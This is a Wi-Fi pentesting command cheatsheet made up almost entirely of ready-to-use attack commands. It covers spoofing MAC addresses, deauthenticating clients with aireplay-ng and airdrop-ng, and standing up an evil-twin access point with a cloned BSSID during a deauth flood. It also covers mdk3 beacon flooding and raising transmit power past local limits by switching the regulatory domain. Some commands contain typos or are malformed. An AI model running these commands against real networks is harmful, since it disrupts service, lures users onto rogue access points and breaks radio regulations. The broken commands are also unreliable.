Wifi Pentesting Command Cheatsheet

Find out which modes your card supports
airmon-ng (find phy#)
iw phy phy1 info | grep -A8 modes (grep 8 lines past “modes”)

Setting a MAC Address
ifconfig wlan3 down
ifconfig wlan3 hw ether c0:ff:ee:c0:ff:ee
ifconfig wlan3 up
OR
macchanger -r wlan3 (provides a random address every time)

Monitor Mode
ifconfig wlan3 up
airmon-ng start wlan3

Looking for SSIDs
dev wlan3 scan passive | grep SSID

Looking at client traffic to an AP
wireshark filter: wlan.addr==CC:00:FF:EE:EE:EE and not wlan.fc.subtype == 0x08 (MAC of AP & filter out beacon frames)
wlan.addr ==CC:00:FF:EE:EE:EE and wlan.addr == DD:EE:AA:DD:BE:EF (filter on 2 client MAC addresses)

Looking for vendors
airodump-ng --manufacturer (newer versions of airodump support this)

Setting the Channel
ifconfig wlan3 down
iwconfig wlan3 channel 1 (get channel id of ssid from airodump)
iwconfig mon0 channel 1
then verify the “Frequency” value in iwconfig e.g. channel 1 = 2.412 GHz

Connecting to an Open AP
iwconfig wlan3 channel 1
iwconfig wlan3 mode managed
iwconfig wlan3 essid APName

De-authentication
iwconfig mon0 channel 1
aireplay-ng -0 10 -a CC:00:FF:EE:EE:EE -cDD:EE:AA:DD:BE:EF mon0
deauth -a access point -c client
OR
broadcast deauth packets on behalf of ESSID 11:22:33:44:5 to deauth all clients
iwconfig mon0 channel 1
aireplay-ng --deauth 0 -a 11:22:33:44:55 mon0
OR
airodump-ng --output-format csv --write /root/dump.csv mon0
airdrop-ng -i mon0 -t /root/dump.csv-01.csv -r /root/droprules

Setting up an AP
bring up AP with same name as target (put on same channel as AP)
iwconfig wlan0 channel 1
iwconfig mon0 channel 1

use same BSSID as target AP & create AP on channel 1 (unless have 2 alfa cards, 1 for deauth and 1 for AP, need to use same channel as AP)
airbase-ng -a 11:22:33:44:55:66 -e APName mon0

setup deauth attack at same time
aireplay-ng --deuath 0 -a 00:11:22:33:44:55:66 mon0

Auditing EAP/PEAP Entreprise
crEAP
EAPeak

requires scapy-com:
apt-get remote python-scapy
hg clone https://bitbucket.org/secdev/scapy-com
cd scapy-com && python setup.py install

Using crEAP
python crEAP.py

Using EAPeak
eapeak -i wlan3 -s APName -l

Flooding beacon frames with fake ssid
mdk3 mon0 b -n newSSIDname

where:
b=beaconflood, -n=ssid name
floods all the channels with new SSID name

Increasing power of wifi card
e.g. for broadcasting beacons from outside, set to 1W (30dbm)
iw reg set BO
iwconfig wlan0 txpower 30
OR
ifconfig wlan0 down
iw reg set BO
ifconfig wlan0 up
iwconfig wlan0 channel 13
iwconfig wlan0 txpower 30

Tools for visualising
Airgraph

Useful subtype hex values
0x04 : requests
0x05 : responses
0x08 : beacon frame

Units
txpower is in dBm
dBm to Watt conversions

dBm Watts dBm Watts dBm Watts
0 1.0 mW 16 40 mW 32 1.6 W
1 1.3 mW 17 50 mW 33 2.0 W
2 1.6 mW 18 63 mW 34 2.5 W
3 2.0 mW 19 79 mW 35 3.2 W
4 2.5 mW 20 100 mW 36 4.0 W
5 3.2 mW 21 126 mW 37 5.0 W
6 4 mW 22 158 mW 38 6.3 W
7 5 mW 23 200 mW 39 8.0 W
8 6 mW 24 250 mW 40 10 W
9 8 mW 25 316 mW 41 13 W
10 10 mW 26 398 mW 42 16 W
11 13 mW 27 500 mW 43 20 W
12 16 mW 28 630 mW 44 25 W
13 20 mW 29 800 mW 45 32 W
14 25 mW 30 1.0 W 46 40 W
15 32 mW 31 1.3 W 47 50 W

ref: http://www.cpcstech.com/dbm-to-watt-conversion-information.htm